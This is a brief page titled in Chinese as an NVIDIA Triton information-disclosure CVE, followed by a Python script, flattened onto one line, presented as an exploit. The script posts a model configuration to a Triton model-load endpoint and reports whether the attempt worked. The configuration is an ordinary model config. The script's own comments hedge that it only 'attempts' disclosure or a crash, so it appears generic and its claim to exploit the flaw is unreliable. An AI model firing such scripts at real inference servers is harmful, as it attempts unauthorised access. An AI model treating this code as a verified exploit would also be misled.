CVE-2026-24147 NVIDIA Triton信息泄露漏洞

import requests import json # Target URL for Triton Inference Server model repository # Note: The actual endpoint may vary based on configuration target_host = "http://127.0.0.1:8000" endpoint = "/v2/repository/models/exploit_model/load" # Malicious model configuration payload # This payload attempts to trigger information disclosure or DoS # Structure simulates a Triton model config cfg_data = """ name: "exploit_model" platform: "onnxruntime_onnx" max_batch_size: 16 input [ { name: "input" data_type: TYPE_FP32 dims: [ 3, -1, -1 ] } ] output [ { name: "output" data_type: TYPE_FP32 dims: [ 1000 ] } ] instance_group [ { kind: KIND_GPU count: 1 gpus: [ 0 ] } ] """ # Headers headers = { "Accept": "application/json" } # Data payload data = { "config": cfg_data } try: print(f"[*] Attempting to exploit {target_host}{endpoint}...") response = requests.post(target_host + endpoint, data=json.dumps(data), headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check server for potential information disclosure or crash.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")